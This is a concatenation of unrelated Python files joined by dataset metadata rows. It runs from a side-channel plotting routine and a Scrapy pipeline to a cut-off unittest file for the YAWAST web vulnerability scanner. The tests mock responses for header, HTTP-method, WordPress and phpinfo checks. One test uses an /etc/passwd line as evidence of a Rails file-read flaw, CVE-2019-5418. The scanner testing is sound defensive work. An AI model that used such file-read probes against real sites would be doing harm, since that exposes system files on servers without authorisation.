for data_set in ["Validation", "Attack"]:
if f"ES {data_set} Set {es_metric} Best Model {n_profiling_traces} traces" in elem["label"]:
best_model[f"{es_metric} {data_set}"]["x"].append(n_profiling_traces)
best_model[f"{es_metric} {data_set}"]["y"].append(elem['values'])
# data = {
# "ProfilingTraces": profiling_traces_list,
# "GE": ge_list,
# "metric": metric_list,
# "Set": color_list,
# }
# dataframe = pd.DataFrame(data)
# plt.scatter(dataframe.ProfilingTraces, dataframe.GE, s=10, c=dataframe.Set)
plt.plot(best_model["Validation"]["x"], best_model["Validation"]["y"], label="Best Model Validation", linewidth=1.0)
plt.plot(best_model["Attack"]["x"], best_model["Attack"]["y"], label="Best Model Attack", linewidth=1.5)
if analysis.settings["use_early_stopping"]:
for es_metric in analysis.settings["early_stopping"]["metrics"]:
plt.plot(best_model[f"{es_metric} Validation"]["x"], best_model[f"{es_metric} Validation"]["y"],
label=f"Best Model {es_metric} Validation", linestyle="--", linewidth=1.0)
plt.plot(best_model[f"{es_metric} Attack"]["x"], best_model[f"{es_metric} Attack"]["y"],
label=f"Best Model {es_metric} Attack",
linestyle="--", linewidth=1.5)
figure = plt.gcf()
figure.set_size_inches(6, 2.5)
plt.grid()
plt.xlabel("Profiling Traces")
plt.ylabel("Attack Traces for GE = 1")
plt.xlim([min(profiling_traces_list), max(profiling_traces_list)])
plt.xticks(steps, steps)
plt.legend()
plt.tight_layout()
plt.savefig(f"{self.dir_analysis_id}/pa_number_of_traces_{self.analysis_id}.png", dpi=300)
plt.close()
def save_figure_to_png(self, plt_obj, x_label, y_label, x_lim, figure_name, legend=True):
figure = plt_obj.gcf()
figure.set_size_inches(6, 4)
plt_obj.grid()
plt_obj.xlabel(x_label, fontsize=14)
plt_obj.ylabel(y_label, fontsize=14)
plt_obj.xlim(x_lim)
if legend:
plt_obj.legend()
plt_obj.tight_layout()
plt_obj.savefig(f"{self.dir_analysis_id}/{figure_name}.png", dpi=300)
plt_obj.close()
| 54.418142 | 136 | 0.579989 | 2,954 | 24,597 | 4.537915 | 0.05281 | 0.062439 | 0.026856 | 0.032227 | 0.92846 | 0.906378 | 0.8652 | 0.841179 | 0.829094 | 0.829094 | 0 | 0.008074 | 0.289995 | 24,597 | 451 | 137 | 54.538803 | 0.759505 | 0.028377 | 0 | 0.795082 | 0 | 0 | 0.205914 | 0.038494 | 0 | 0 | 0 | 0 | 0 | 1 | 0.030055 | false | 0 | 0.010929 | 0 | 0.043716 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
51c3fafeffc98f6b86459538e1ad579b42ddeb17 | 2,320 | py | Python | python/test/crawl_stocks/crawlstocks/pipelines/db.py | qrsforever/workspace | 53c7ce7ca7da62c9fbb3d991ae9e4e34d07ece5f | [
"MIT"
] | 2 | 2017-06-07T03:20:42.000Z | 2020-01-07T09:14:26.000Z | python/test/crawl_stocks/crawlstocks/pipelines/db.py | qrsforever/workspace | 53c7ce7ca7da62c9fbb3d991ae9e4e34d07ece5f | [
"MIT"
] | null | null | null | python/test/crawl_stocks/crawlstocks/pipelines/db.py | qrsforever/workspace | 53c7ce7ca7da62c9fbb3d991ae9e4e34d07ece5f | [
"MIT"
] | null | null | null | #!/usr/bin/python3
# -*- coding: utf-8 -*-
from datetime import datetime
from pymongo import MongoClient
class GuchengCodesPipeline(object):
def __init__(self, host, name, table):
self.mongo = MongoClient(host)
self.db = self.mongo[name]
self.table = self.db[table]
@classmethod
def from_crawler(cls, crawler):
return cls(crawler.settings.get('DB_HOST'),
crawler.settings.get('DB_NAME'),
crawler.settings.get('DB_CODES_TABLE_NAME'))
def process_item(self, item, spider):
try:
# self.table.insert_one({'_id': item['code'], 'name': item['name'], 'code':
# item['code']})
self.table.update_one({'_id': item['code']},
{'$set': {
'_id': item['code'],
'name': item['name'],
'code':item['code']}},
upsert = True)
except Exception as e:
spider.logger.info("write error:", e)
return item
def open_spider(self, spider):
try:
pass
except Exception as e:
spider.logger.info("open error:", e)
def close_spider(self, spider):
try:
self.mongo.close()
except:
spider.logger.info("close error")
class QuotesCHDDataPipeline(object):
def __init__(self, host, name, table):
self.mongo = MongoClient(host)
self.db = self.mongo[name]
self.table = self.db[table]
@classmethod
def from_crawler(cls, crawler):
return cls(crawler.settings.get('DB_HOST'),
crawler.settings.get('DB_NAME'),
crawler.settings.get('DB_CHDDATA_TABLE_NAME'))
def process_item(self, item, spider):
try:
# item is subclass of dict
self.table.update_one({'_id': item['_id']},
{'$set': item}, upsert = True)
except Exception as e:
spider.logger.info("write error: ", e)
return item
def open_spider(self, spider):
try:
pass
except Exception as e:
spider.logger.info("open error:", e)
def close_spider(self, spider):
try:
self.mongo.close()
except:
spider.logger.info("close error")
| 29.74359 | 87 | 0.542241 | 260 | 2,320 | 4.707692 | 0.223077 | 0.044118 | 0.088235 | 0.098039 | 0.841503 | 0.841503 | 0.802288 | 0.802288 | 0.802288 | 0.681373 | 0 | 0.00128 | 0.326293 | 2,320 | 77 | 88 | 30.12987 | 0.78183 | 0.065948 | 0 | 0.766667 | 0 | 0 | 0.083719 | 0.009713 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.033333 | 0.033333 | 0.033333 | 0.3 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
51d30fc4daac91a991ec56c75b5b2c2c4a2f663e | 105 | py | Python | contactregister/serialisation/__init__.py | J-Mo63/contact-register | 3122c71947f1267a3b62d9c8321cea7ed740ee2a | [
"MIT"
] | null | null | null | contactregister/serialisation/__init__.py | J-Mo63/contact-register | 3122c71947f1267a3b62d9c8321cea7ed740ee2a | [
"MIT"
] | null | null | null | contactregister/serialisation/__init__.py | J-Mo63/contact-register | 3122c71947f1267a3b62d9c8321cea7ed740ee2a | [
"MIT"
] | null | null | null | from helpers import get_module_files
def get_formats() -> [str]:
return get_module_files(__file__)
| 17.5 | 37 | 0.761905 | 15 | 105 | 4.733333 | 0.733333 | 0.253521 | 0.394366 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.152381 | 105 | 5 | 38 | 21 | 0.797753 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 8 |
51ff9c8f358a63c43ef8965d22b841298c609609 | 227 | py | Python | Lib/test/bugs/pr133.py | jeff5/jython-whinchat | 65d8e5268189f8197295ff2d91be3decb1ee0081 | [
"CNRI-Jython"
] | 577 | 2020-06-04T16:34:44.000Z | 2022-03-31T11:46:07.000Z | Lib/test/bugs/pr133.py | jeff5/jython-whinchat | 65d8e5268189f8197295ff2d91be3decb1ee0081 | [
"CNRI-Jython"
] | 174 | 2015-01-08T20:37:09.000Z | 2020-06-03T16:48:59.000Z | Lib/test/bugs/pr133.py | jeff5/jython-whinchat | 65d8e5268189f8197295ff2d91be3decb1ee0081 | [
"CNRI-Jython"
] | 162 | 2015-02-07T02:14:38.000Z | 2020-05-30T16:42:03.000Z | import pr133.test
name = pr133.test.__name__
reload(pr133.test)
if name <> pr133.test.__name__:
print 'Name changed after reload'
reload(pr133.test)
if name <> pr133.test.__name__:
print 'Name changed after reload'
| 17.461538 | 37 | 0.731278 | 33 | 227 | 4.666667 | 0.272727 | 0.350649 | 0.337662 | 0.331169 | 0.792208 | 0.792208 | 0.792208 | 0.792208 | 0.792208 | 0.792208 | 0 | 0.094737 | 0.162996 | 227 | 12 | 38 | 18.916667 | 0.715789 | 0 | 0 | 0.75 | 0 | 0 | 0.220264 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.125 | null | null | 0.25 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
cfdf09c5423aa5c6df4cf092bc8aaab743518e58 | 56,647 | py | Python | tests/test_http.py | Prodject/yawast | 044309709cf3782de75a35f77297f2d2850d8e1c | [
"BSD-3-Clause"
] | 200 | 2016-02-06T17:14:03.000Z | 2022-03-14T00:50:25.000Z | tests/test_http.py | Prodject/yawast | 044309709cf3782de75a35f77297f2d2850d8e1c | [
"BSD-3-Clause"
] | 341 | 2016-02-06T21:53:47.000Z | 2021-09-27T22:40:25.000Z | tests/test_http.py | Prodject/yawast | 044309709cf3782de75a35f77297f2d2850d8e1c | [
"BSD-3-Clause"
] | 68 | 2016-02-17T08:10:47.000Z | 2021-05-27T23:26:07.000Z | # Copyright (c) 2013 - 2020 Adam Caudill and Contributors.
# This file is part of YAWAST which is released under the MIT license.
# See the LICENSE file or go to https://yawast.org/license/ for full license details.
import os
from pathlib import Path
from unittest import TestCase
import requests
import requests_mock
from bs4 import BeautifulSoup
from tests import utils
from yawast import command_line
from yawast.scanner.cli import http
from yawast.scanner.plugins.http import http_basic, response_scanner, file_search
from yawast.scanner.plugins.http.applications import wordpress, jira
from yawast.scanner.plugins.http.response_scanner import _check_cache_headers
from yawast.scanner.plugins.http.servers import (
rails,
python,
nginx,
php,
iis,
apache_tomcat,
)
from yawast.scanner.plugins.http.special_files import (
check_special_files,
check_special_paths,
)
from yawast.scanner.plugins.http.spider import spider
from yawast.scanner.plugins.http.waf import get_waf
from yawast.scanner.session import Session
from yawast.shared import network, output
class TestHttpBasic(TestCase):
def test_get_header_issues_no_sec_headers(self):
url = "http://example.com"
with requests_mock.Mocker(real_http=True) as m:
m.get(url, text="body")
resp = requests.get(url)
res = http_basic.get_header_issues(
resp, network.http_build_raw_response(resp), url
)
self.assertEqual(7, len(res))
def test_get_header_issues_none(self):
url = "http://example.com"
with requests_mock.Mocker(real_http=True) as m:
m.get(
url,
text="body",
headers={
"X-XSS-Protection": "1",
"X-Frame-Options": "blah",
"X-Content-Type-Options": "nosniff",
"Content-Security-Policy": "blah",
"Referrer-Policy": "blah",
"Feature-Policy": "blah",
"Strict-Transport-Security": "blah",
"Server": "blah",
"X-Olaf": "⛄",
},
)
resp = requests.get(url)
res = http_basic.get_header_issues(
resp, network.http_build_raw_response(resp), url
)
self.assertEqual(0, len(res))
def test_get_header_issues_dup_header(self):
network.init("", "", "")
output.setup(False, False, False)
# we are using www.python.org as they return multiple Via headers
url = "https://www.python.org"
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
resp = requests.get(url)
results = http_basic.get_header_issues(
resp, network.http_build_raw_response(resp), url
)
self.assertIsNotNone(results)
self.assertTrue(len(results) > 0)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stdout.getvalue())
self.assertTrue(
any(
"set multiple times with different values" in r.message for r in results
)
)
def test_get_header_issues_powered_by(self):
url = "http://example.com"
with requests_mock.Mocker(real_http=True) as m:
m.get(
url,
text="body",
headers={
"X-XSS-Protection": "1",
"X-Frame-Options": "blah",
"X-Content-Type-Options": "nosniff",
"Content-Security-Policy": "blah",
"Referrer-Policy": "blah",
"Feature-Policy": "blah",
"Strict-Transport-Security": "blah",
"X-Powered-By": "blah",
},
)
resp = requests.get(url)
res = http_basic.get_header_issues(
resp, network.http_build_raw_response(resp), url
)
self.assertEqual(1, len(res))
self.assertIn("X-Powered-By Header Present", res[0].message)
def test_get_header_issues_xss(self):
url = "http://example.com"
with requests_mock.Mocker(real_http=True) as m:
m.get(
url,
text="body",
headers={
"X-XSS-Protection": "0",
"X-Frame-Options": "blah",
"X-Content-Type-Options": "nosniff",
"Content-Security-Policy": "blah",
"Referrer-Policy": "blah",
"Feature-Policy": "blah",
"Strict-Transport-Security": "blah",
},
)
resp = requests.get(url)
res = http_basic.get_header_issues(
resp, network.http_build_raw_response(resp), url
)
self.assertEqual(1, len(res))
self.assertIn("X-XSS-Protection Disabled Header Present", res[0].message)
def test_get_header_issues_runtime(self):
url = "http://example.com"
with requests_mock.Mocker(real_http=True) as m:
m.get(
url,
text="body",
headers={
"X-XSS-Protection": "1",
"X-Frame-Options": "blah",
"X-Content-Type-Options": "nosniff",
"Content-Security-Policy": "blah",
"Referrer-Policy": "blah",
"Feature-Policy": "blah",
"Strict-Transport-Security": "blah",
"X-Runtime": "1",
},
)
resp = requests.get(url)
res = http_basic.get_header_issues(
resp, network.http_build_raw_response(resp), url
)
self.assertEqual(1, len(res))
self.assertIn("X-Runtime Header Present", res[0].message)
def test_get_header_issues_backend(self):
url = "http://example.com"
with requests_mock.Mocker(real_http=True) as m:
m.get(
url,
text="body",
headers={
"X-XSS-Protection": "1",
"X-Frame-Options": "blah",
"X-Content-Type-Options": "nosniff",
"Content-Security-Policy": "blah",
"Referrer-Policy": "blah",
"Feature-Policy": "blah",
"Strict-Transport-Security": "blah",
"X-Backend-Server": "1",
},
)
resp = requests.get(url)
res = http_basic.get_header_issues(
resp, network.http_build_raw_response(resp), url
)
self.assertEqual(1, len(res))
self.assertIn("X-Backend-Server Header Present", res[0].message)
def test_get_header_issues_via(self):
url = "http://example.com"
with requests_mock.Mocker(real_http=True) as m:
m.get(
url,
text="body",
headers={
"X-XSS-Protection": "1",
"X-Frame-Options": "blah",
"X-Content-Type-Options": "nosniff",
"Content-Security-Policy": "blah",
"Referrer-Policy": "blah",
"Feature-Policy": "blah",
"Strict-Transport-Security": "blah",
"Via": "1",
},
)
resp = requests.get(url)
res = http_basic.get_header_issues(
resp, network.http_build_raw_response(resp), url
)
self.assertEqual(1, len(res))
self.assertIn("Via Header Present", res[0].message)
def test_get_header_issues_xfa(self):
url = "http://example.com"
with requests_mock.Mocker(real_http=True) as m:
m.get(
url,
text="body",
headers={
"X-XSS-Protection": "1",
"X-Frame-Options": "allow",
"X-Content-Type-Options": "nosniff",
"Content-Security-Policy": "blah",
"Referrer-Policy": "blah",
"Feature-Policy": "blah",
"Strict-Transport-Security": "blah",
},
)
resp = requests.get(url)
res = http_basic.get_header_issues(
resp, network.http_build_raw_response(resp), url
)
self.assertEqual(1, len(res))
self.assertIn("X-Frame-Options Header", res[0].message)
def test_get_header_issues_acao(self):
url = "http://example.com"
with requests_mock.Mocker(real_http=True) as m:
m.get(
url,
text="body",
headers={
"X-XSS-Protection": "1",
"X-Frame-Options": "blah",
"X-Content-Type-Options": "nosniff",
"Content-Security-Policy": "blah",
"Referrer-Policy": "blah",
"Feature-Policy": "blah",
"Strict-Transport-Security": "blah",
"Access-Control-Allow-Origin": "*",
},
)
resp = requests.get(url)
res = http_basic.get_header_issues(
resp, network.http_build_raw_response(resp), url
)
self.assertEqual(1, len(res))
self.assertIn("Access-Control-Allow-Origin: Unrestricted", res[0].message)
def test_check_propfind_none_err(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.register_uri("PROPFIND", url, text="body", status_code=500)
res = http_basic.check_propfind(url)
for r in res:
self.assertNotIn("PROPFIND Enabled", r.message)
def test_check_propfind_none_ok(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.register_uri("PROPFIND", url, text="body", status_code=200)
res = http_basic.check_propfind(url)
for r in res:
self.assertNotIn("PROPFIND Enabled", r.message)
def test_check_propfind(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.register_uri(
"PROPFIND",
url,
text="body",
status_code=200,
headers={"Content-Type": "text/xml"},
)
res = http_basic.check_propfind(url)
self.assertTrue(any("PROPFIND Enabled" in r.message for r in res))
def test_check_trace_none_err(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.register_uri("TRACE", url, text="body", status_code=500)
res = http_basic.check_trace(url)
for r in res:
self.assertNotIn("HTTP TRACE Enabled", r.message)
def test_check_trace_none_ok(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.register_uri("TRACE", url, text="body", status_code=200)
res = http_basic.check_trace(url)
for r in res:
self.assertNotIn("HTTP TRACE Enabled", r.message)
def test_check_trace(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.register_uri("TRACE", url, text="TRACE / HTTP/1.1", status_code=200)
res = http_basic.check_trace(url)
self.assertTrue(any("HTTP TRACE Enabled" in r.message for r in res))
def test_check_opts_none_err(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.register_uri("OPTIONS", url, status_code=500)
res = http_basic.check_options(url)
for r in res:
self.assertNotIn("HTTP Verbs (OPTIONS)", r.message)
def test_check_opts_none_ok(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.register_uri("OPTIONS", url, status_code=200)
res = http_basic.check_options(url)
for r in res:
self.assertNotIn("HTTP Verbs (OPTIONS)", r.message)
def test_check_opts_allow(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.register_uri("OPTIONS", url, status_code=200, headers={"Allow": "GET"})
res = http_basic.check_options(url)
self.assertTrue(any("Allow HTTP Verbs (OPTIONS)" in r.message for r in res))
def test_check_opts_public(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.register_uri("OPTIONS", url, status_code=200, headers={"Public": "GET"})
res = http_basic.check_options(url)
self.assertTrue(any("Public HTTP Verbs (OPTIONS)" in r.message for r in res))
def test_cache_headers_none(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.get(url, text="body", headers={})
resp = requests.get(url)
res = _check_cache_headers(url, resp)
self.assertTrue(any("Cache-Control Header Not Found" in r.message for r in res))
self.assertTrue(any("Expires Header Not Found" in r.message for r in res))
self.assertTrue(any("Pragma: no-cache Not Found" in r.message for r in res))
def test_cache_headers_expires_invalid(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.get(url, text="body", headers={"Expires": "1"})
resp = requests.get(url)
res = _check_cache_headers(url, resp)
self.assertFalse(any("Expires Header Not Found" in r.message for r in res))
def test_cache_headers_expires_future(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.get(
url,
text="body",
headers={"Expires": "Expires: Wed, 21 Oct 2099 07:28:00 GMT"},
)
resp = requests.get(url)
res = _check_cache_headers(url, resp)
self.assertFalse(any("Expires Header Not Found" in r.message for r in res))
self.assertTrue(any("Expires Header - Future Dated" in r.message for r in res))
def test_cache_headers_expires_past(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.get(
url,
text="body",
headers={"Expires": "Expires: Wed, 21 Oct 2015 07:28:00 GMT"},
)
resp = requests.get(url)
res = _check_cache_headers(url, resp)
self.assertFalse(any("Expires Header Not Found" in r.message for r in res))
self.assertFalse(any("Expires Header - Future Dated" in r.message for r in res))
def test_cache_headers_pragma(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.get(url, text="body", headers={"Pragma": "no-cache"})
resp = requests.get(url)
res = _check_cache_headers(url, resp)
self.assertFalse(any("Pragma: no-cache Not Found" in r.message for r in res))
def test_cache_headers_cc_public(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.get(url, text="body", headers={"Cache-Control": "Public"})
resp = requests.get(url)
res = _check_cache_headers(url, resp)
self.assertTrue(any("Cache-Control: Public" in r.message for r in res))
self.assertTrue(
any("Cache-Control: no-cache Not Found" in r.message for r in res)
)
self.assertTrue(
any("Cache-Control: no-store Not Found" in r.message for r in res)
)
self.assertTrue(
any("Cache-Control: private Not Found" in r.message for r in res)
)
def test_cache_headers_cc_private(self):
url = "http://example.com"
with requests_mock.Mocker() as m:
m.get(url, text="body", headers={"Cache-Control": "Private"})
resp = requests.get(url)
res = _check_cache_headers(url, resp)
self.assertTrue(
any("Cache-Control: no-cache Not Found" in r.message for r in res)
)
self.assertTrue(
any("Cache-Control: no-store Not Found" in r.message for r in res)
)
def test_response_scanner(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
resp = network.http_get(url)
http.reset()
res = response_scanner.check_response(url, resp)
self.assertTrue(any("External JavaScript File" in r.message for r in res))
self.assertTrue(any("Vulnerable JavaScript" in r.message for r in res))
def test_rails_cve_2019_5418_none(self):
url = "http://example.com/"
with requests_mock.Mocker() as m:
m.get(url, text="body")
rails.reset()
res = rails.check_cve_2019_5418(url)
self.assertFalse(any("Rails CVE-2019-5418" in r.message for r in res))
def test_rails_cve_2019_5418(self):
url = "http://example.com/"
with requests_mock.Mocker() as m:
m.get(url, text="root:x:0:0:root:/root:/bin/bash")
rails.reset()
res = rails.check_cve_2019_5418(url)
self.assertTrue(any("Rails CVE-2019-5418" in r.message for r in res))
def test_rails_cve_2019_5418_fp(self):
url = "http://example.com/"
with requests_mock.Mocker() as m:
m.get(url, text="root: File")
rails.reset()
res = rails.check_cve_2019_5418(url)
self.assertFalse(any("Rails CVE-2019-5418" in r.message for r in res))
def test_python_check_banner(self):
res = python.check_banner("Python/3.0.3", "head_data", "http://example.com")
self.assertTrue(any("Python Version Exposed" in r.message for r in res))
def test_nginx_check_banner_gen(self):
res = nginx.check_banner("nginx", "head_data", "http://example.com")
self.assertTrue(
any("Generic Nginx Server Banner Found" in r.message for r in res)
)
def test_nginx_check_banner(self):
res = nginx.check_banner("nginx/1.0.0", "head_data", "http://example.com")
self.assertTrue(any("Nginx Version Exposed" in r.message for r in res))
def test_nginx_check_banner_outdated(self):
res = nginx.check_banner("nginx/1.0.0", "head_data", "http://example.com")
self.assertTrue(any("Nginx Outdated" in r.message for r in res))
def test_wp_path_disc_nix(self):
network.init("", "", "")
output.setup(False, False, False)
url = "http://example.com/"
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, status_code=404)
m.head(requests_mock.ANY, status_code=404)
m.get(
f"{url}wp-content/plugins/akismet/akismet.php",
text="<b>Fatal error</b>: x y() in <b>/home/akismet.php</b> on line <b>32</b><br />",
status_code=500,
)
m.head(f"{url}wp-content/plugins/akismet/akismet.php", status_code=500)
res = wordpress.check_path_disclosure(url)
self.assertTrue(any("WordPress File Path Disclosure" in r.message for r in res))
self.assertTrue(any("/home/akismet.php" in r.message for r in res))
def test_wp_path_disc_win(self):
network.init("", "", "")
output.setup(False, False, False)
url = "http://example.com/"
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, status_code=404)
m.head(requests_mock.ANY, status_code=404)
m.get(
f"{url}wp-content/plugins/akismet/akismet.php",
text="<b>Fatal error</b>: x y() in <b>C:\\home\\akismet.php</b> on line <b>32</b><br />",
status_code=500,
)
m.head(f"{url}wp-content/plugins/akismet/akismet.php", status_code=500)
res = wordpress.check_path_disclosure(url)
self.assertTrue(any("WordPress File Path Disclosure" in r.message for r in res))
self.assertTrue(any("C:\\home\\akismet.php" in r.message for r in res))
def test_wp_path_disc_none_err(self):
network.init("", "", "")
output.setup(False, False, False)
url = "http://example.com/"
with requests_mock.Mocker() as m:
m.get(
requests_mock.ANY,
text="<b>Fatal error</b>: x y() in /home/akismet.php on line 32",
)
m.head(requests_mock.ANY)
res = wordpress.check_path_disclosure(url)
self.assertFalse(
any("WordPress File Path Disclosure" in r.message for r in res)
)
def test_wp_path_disc_none(self):
network.init("", "", "")
output.setup(False, False, False)
url = "http://example.com/"
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="hello world")
m.head(requests_mock.ANY)
res = wordpress.check_path_disclosure(url)
self.assertFalse(
any("WordPress File Path Disclosure" in r.message for r in res)
)
def test_php_find_info(self):
network.init("", "", "")
output.setup(False, False, False)
url = "http://example.com/"
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, status_code=404)
m.head(requests_mock.ANY, status_code=404)
m.get(f"{url}phpinfo.php", text='</a><h1 class="p">PHP Version 4.4.1</h1>')
m.head(f"{url}phpinfo.php", status_code=200)
res = php.find_phpinfo([url])
self.assertTrue(any("PHP Info Found" in r.message for r in res))
def test_php_find_info_none(self):
network.init("", "", "")
output.setup(False, False, False)
url = "http://example.com/"
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, status_code=404)
m.head(requests_mock.ANY, status_code=404)
m.get(
f"{url}phpinfo.php",
text="</a><h1>PHP Version 4.4.1</h1>",
status_code=500,
)
m.head(f"{url}phpinfo.php", status_code=200)
res = php.find_phpinfo([url])
self.assertFalse(any("PHP Info Found" in r.message for r in res))
def test_check_404(self):
network.init("", "", "X-Test=123")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="body", status_code=200)
m.head(requests_mock.ANY, status_code=200)
try:
file, _, _, _ = network.check_404_response(url)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_check_put(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.put(requests_mock.ANY, text="body", status_code=200)
try:
res = network.http_put(url, "data")
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
self.assertIsNotNone(res)
def test_wp_ident(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
try:
_, res = wordpress.identify(url)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
self.assertTrue(any("Found WordPress" in r.message for r in res))
def test_wp_json_user_enum(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
try:
res = wordpress.check_json_user_enum(url)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
self.assertTrue(
any("WordPress WP-JSON User Enumeration" in r.message for r in res)
)
def test_find_backup_ext(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
try:
http.reset()
_, _ = file_search.find_backups(
[url, f"{url}readme.html", f"{url}#test"]
)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_find_backup_ext_all(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="not found", status_code=404)
m.get(f"{url}test/readme.html", text="body", status_code=200)
m.get(f"{url}test/readme.html~", text="body", status_code=200)
m.head(requests_mock.ANY, status_code=404)
m.head(f"{url}test/readme.html", status_code=200)
m.head(f"{url}test/readme.html~", status_code=200)
try:
http.reset()
_, res = file_search.find_backups([url, f"{url}test/readme.html"])
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
self.assertTrue(any("Found backup file" in r.message for r in res))
def test_net_init_empty(self):
try:
network.init("", "", "")
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(network._requester)
network.reset()
def test_net_init_none(self):
try:
network.init(None, None, None)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(network._requester)
network.reset()
def test_net_init_valid_proxy(self):
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
network.init("http://127.0.0.1:1234", "", "")
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(network._requester)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stdout.getvalue())
self.assertNotIn("Invalid proxy server specified", stdout.getvalue())
network.reset()
def test_net_init_valid_proxy_alt(self):
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
network.init("127.0.0.1:1234", "", "")
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(network._requester)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stdout.getvalue())
self.assertNotIn("Invalid proxy server specified", stdout.getvalue())
network.reset()
def test_net_init_invalid_proxy_ftp(self):
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
network.init("ftp://127.0.0.1:1234", "", "")
_ = network.http_get("http://example.com")
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(network._requester)
self.assertNotIn("Exception", stderr.getvalue())
self.assertIn("Error", stdout.getvalue())
self.assertIn("Invalid proxy server specified", stdout.getvalue())
network.reset()
def test_net_init_valid_cookie(self):
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
network.init("", "SESSION=123", "")
_ = network.http_get("http://example.com")
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(network._requester)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stdout.getvalue())
self.assertNotIn("cookie must be in NAME=VALUE format", stdout.getvalue())
network.reset()
def test_net_init_two_valid_cookie(self):
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
network.init("", "SESSION=123;C=456", "")
_ = network.http_get("http://example.com")
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(network._requester)
self.assertNotIn("Exception", stderr.getvalue())
